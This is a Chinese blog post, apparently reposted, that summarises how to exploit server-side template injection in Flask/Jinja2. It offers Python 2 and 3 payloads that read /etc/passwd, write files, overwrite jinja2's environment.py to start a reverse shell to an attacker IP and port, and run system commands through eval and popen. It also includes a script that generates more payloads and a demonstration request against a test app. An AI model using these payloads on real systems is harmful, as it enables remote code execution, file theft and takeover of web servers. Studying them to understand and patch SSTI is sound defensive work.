jinja2模板注入_Flask jinja2 模板注入思路总结
Flask jinja2 模板注入思路总结
前言
虽然这个漏洞已经出现很久了, 不过偶尔还是能够看到翻了翻 freebuf 上好像只有 python2 的一些 payload, 方法也不是很全我找来找去也走了些弯路, 小白们可以参考一下如果有什么错误, 欢迎各位指正
漏洞简介
漏洞原理可以参考http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html
常见 payload
ssti 可以用于 xss, 不过这里不具体介绍; 前面两篇文章给出了几个比较常用的 getshell 的 payload; 我会总结并补充一些python2:
# 注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
# 读文件:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
# 写文件:
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("")}}
也可以通过写 jinja2 的 environment.py 执行命令; jinja2 的模板会 load 这个 module, 而且这个 environment.py import 了 os 模块, 所以只要能写这个文件, 就可以执行任意命令:# 假设在 / usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个 shell
{{''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')")}}
python3:
# 命令执行:
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}{%endif%}{%endfor%}
# 文件操作
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].open('filename','r').read()}}{%endif%}{%endfor%}
GoDeeper
环境
这里给出的是 vulhub 的 flask ssti 漏洞环境 方便复现#python3
#Flask version:0.12.2
#Jinja2: 2.10
fromflaskimportFlask,request
fromjinja2importTemplate
app=Flask(__name__)
@app.route("/")
defindex():
name=request.args.get('name','guest')
t=Template("Hello"+name)
returnt.render()
if__name__=="__main__":
app.run();
__globals__
其实这些 payload 的思路大概都是一样的, 从 python 的内置变量出发, 通过调用各类型的一些隐藏属性(方法), 从而得到我们需要的函数
其中有一个属性 globals 很有意思, 文档里这样解释:__globals__:
A reference to the dictionary that holds the functionsglobalvariables
theglobalnamespaceof themoduleinwhich thefunctionwasdefined.
[Read-only]
也就是说所有的函数都会有一个__globals__属性, 它会以一个 dict, 返回函数所在模块命名空间中的所有变量 举个例子:outFuncVar=2
deffunc():
inFuncVar=1
pass
print(func)
print(func.__globals__)
importos
print(func.__globals__)
这段代码输出
{'outFuncVar': 2, , '__builtins__':}
{'outFuncVar': 2, , 'os':, '__builtins__':}
可以看到__globals__中会包括引入了的 modules; 同时每个 python 脚本都会自动加载 builtins 这个模块, 而且这个模块包括了很多强大的 built-in 函数, 例如 eval, exec, open 等等>>>deftest():
pass
>>>test.__globals__['__builtins__']
>>>test.__globals__['__builtins__'].eval
>>>test.__globals__['__builtins__'].exec
>>>test.__globals__['__builtins__'].open
所以要从内置变量出发找到一个可以达成 payload 的函数 (eval, exec..), 只需要随便从一个内置变量调用隐藏属性, 找到任意一个函数, 然后查看它的__globals__['__builtins __'] 就可以了, 而这个是非常容易的
start to find a payload
我们都知道 python 的类有被称为 Special method names 的方法, 这些方法会在特定的时候被调用而开发者可以通过重载这些函数实现各种简洁又强大的功能例如 class.__init __ 会在一个实例被 new()创建的时候自动调用, 从而起到构造函数的作用
而我们的目标只是找到任意一个函数, 所以我们只需要去找这些函数就可以了, 比如说从字符串开始#python3
#__class__返回调用的参数类型
#__base__返回基类
#__mro__寻找基类时参考类
#__sublclasses__()返回子类
# 获得 object 类的子类
>>>''.__class__.__base__.__subclasses__()
[,,,,,,,,...]
# 从中随便选一个类, 查看它的__init__
>>>''.__class__.__base__.__subclasses__()[30].__init__
# wrapper 是指这些函数并没有被重载, 这时他们并不是 function, 不具有__globals__属性
>>>''.__class__.__base__.__subclasses__()[30].__init__.__globals__
Traceback(most recent calllast):
File"",line1,in
''.__class__.__base__.__subclasses__()[30].__init__.__globals__
AttributeError:'wrapper_descriptor'objecthasnoattribute'__globals__'
# 再换几个子类, 很快就能找到一个重载过__init__的类, 比如
>>>''.__class__.__base__.__subclasses__()[5].__init__
>>>''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
# 然后用 eval 执行命令即可
其中寻找 function 的过程可以用一个小脚本解决, 脚本找到被重载过的 function, 然后组成 payload#!/usr/bin/python3
# coding=utf-8
# python 3.5
fromflaskimportFlask
fromjinja2importTemplate
# Some of special names
searchList=['__init__',"__new__",'__del__','__repr__','__str__','__bytes__','__format__','__lt__','__le__','__eq__','__ne__','__gt__','__ge__','__hash__','__bool__','__getattr__','__getattribute__','__setattr__','__dir__','__delattr__','__get__','__set__','__delete__','__call__',"__instancecheck__",'__subclasscheck__','__len__','__length_hint__','__missing__','__getitem__','__setitem__','__iter__','__delitem__','__reversed__','__contains__','__add__','__sub__','__mul__']
neededFunction=['eval','open','exec']
pay=int(input("Payload?[1|0]"))
forindex,iinenumerate({}.__class__.__base__.__subclasses__()):
forattrinsearchList:
ifhasattr(i,attr):
ifeval('str(i.'+attr+')[1:9]')=='function':
forgoalinneededFunction:
if(eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
ifpay!=1:
print(i.__name__,":",attr,goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='"+i.__name__+"'%}{{ c."+attr+".__globals__['__builtins__']."+goal+"(\"[evil]\") }}{% endif %}{% endfor %}")
output
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='_Unframer'%}{{c.__init__.__globals__['__builtins__'].exec("[evil]")}}{%endif%}{%endfor%}
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='ImmutableDictMixin'%}{{c.__hash__.__globals__['__builtins__'].eval("[evil]")}}{%endif%}{%endfor%}
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='ImmutableDictMixin'%}{{c.__hash__.__globals__['__builtins__'].open("[evil]")}}{%endif%}{%endfor%}
...
随便选一个 payload 填上命令#Client request
http://127.0.0.1:5000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("print('hello shell')") }}{% endif %}{% endfor %}
#server terminal
# 成功打印出 hello shell, 说明成功执行
hello shell
127.0.0.1--[10/Feb/201802:41:48]"GET /?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27ImmutableDictMixin%27%20%}{{%20c.__hash__.__globals__[%27__builtins__%27].eval(%22print(%27hello%20shell%27)%22)%20}}{%%20endif%20%}{%%20endfor%20%} HTTP/1.1"200-
当然这种方法不仅仅适合 python3, python2 也可以用这个方法, 上面那个 payload 就是两个版本都可以使用的
总结
利用 flask 的 ssti 漏洞, 可以通过 python 的内置变量得到功能强大的 built-in functions, 从而执行各种命令而 python 函数自带的__globals__属性使得寻找 built-in functions 的过程变得更加简单, 不受版本约束
来源: http://www.tuicool.com/articles/ENfiI3E
jinja2模板注入_Flask jinja2 模板注入思路总结相关推荐
- flask mysql项目模板渲染_Flask框架模板渲染操作简单示例
本文实例讲述了Flask框架模板渲染操作.分享给大家供大家参考,具体如下: from flask import render_template from flask import Flask from ...
- python内存注入代码_Python模板注入
Python模板注入 近期遇到Python模板注入问题,故在此整理,便于后期回顾. 1 什么是"模板注入" 首先什么是"Python模板"呢?Python有很多 ...
- flask mysql项目模板渲染_Flask系列(二) 模板 templates
BEGIN: 在前面,我们简单的实现了第一个简单的flask项目,但是这个项目只是单纯的在网页上显示一句话,没有任何其他的东西,很是单调.这里,我们即将学习Flask的模板.相信了解过django的人 ...
- python html模板引擎_flask入门2-模板引擎
day2模板 模板引擎 说明:模板文件就是按照一定的规则书写的展示效果的HTML文件 模板引擎就是负责按照指定规则进行替换的工具 模板引擎选择jinja2 一.渲染模板的方法 将渲染的模板进行返回 r ...
- html发送邮件自动模板,发送邮件使用html模板的实现的大致思路
客户最近有一个需求,大致的意思是提供一个 word文档,让其作为一个模板,在发送邮件的时候能够实现按照这个模板的样式和内容,替换其中 的一些字段,作为邮件的内容发给收件人.这个需求最大的问题就是在于这 ...
- PHPCMS2008模板教程—官方默认模板完全解读及制作思路
图片: '700')this.width='700';if(this.height>'700')this.height='700';" border=0> 大家好!我是酷扑工作室 ...
- flask mysql项目模板渲染_21. Flask 模板 - 宏、继承、包含
宏的概念 类似于python中的函数,宏的作用就是在模板中重复利用代码,避免代码冗余. Jinja2支持宏,还可以导入宏,需要在多处重复使用的模板代码片段可以写入单独的文件,再包含在所有模板中,以避免 ...
- 框架依赖注入和普通依赖注入_角服务和依赖注入解释
框架依赖注入和普通依赖注入 服务和喷油器 (Services and Injectors) Components are responsible for the data that renders i ...
- java门户网站模板_java门户网站模板.doc
java门户网站模板 java门户网站模板 篇一:基于Java的快速建站框架实现 1 概述 1.1 课题背景 随着IT技术和互联网应用的蓬勃发展,类似Blog.BBS等类型的个人型网站的需求量也越来越 ...
最新文章
- 人在职场,干得好真的不如汇报得好?
- java按位取反“~“运算符,负数右移
- Re_Write序列号
- css中变量_CSS中的变量
- 反转dataframe
- springBoot集成多数据源mybatisPlus(自动切换数据源)
- 拦截 数据_大数据之六类Flume拦截器配置
- SVM原理以及Tensorflow 实现SVM分类(附代码)
- linux中正则表达式的用法自解
- 计算机一级中替换,08年计算机一级辅导:实战WPS转义符在查找替换中的应用
- 计算机网络第四章课后答案(第七版谢希仁著)
- notepad实现垂直标签
- js判断移动端还是pc端
- 解决合并单元格筛选时只出现首行的小技巧
- push ebp到底是什么意思
- 蓝带 拱桥 区别_蓝带
- matlab图像网格化像素提取像素扩大图片分块
- 计算机少儿编程考级,少儿编程能力怎么评定?有什么考级可以参加?
- C++四种cast的详细介绍
- 读书/看电影/看电视剧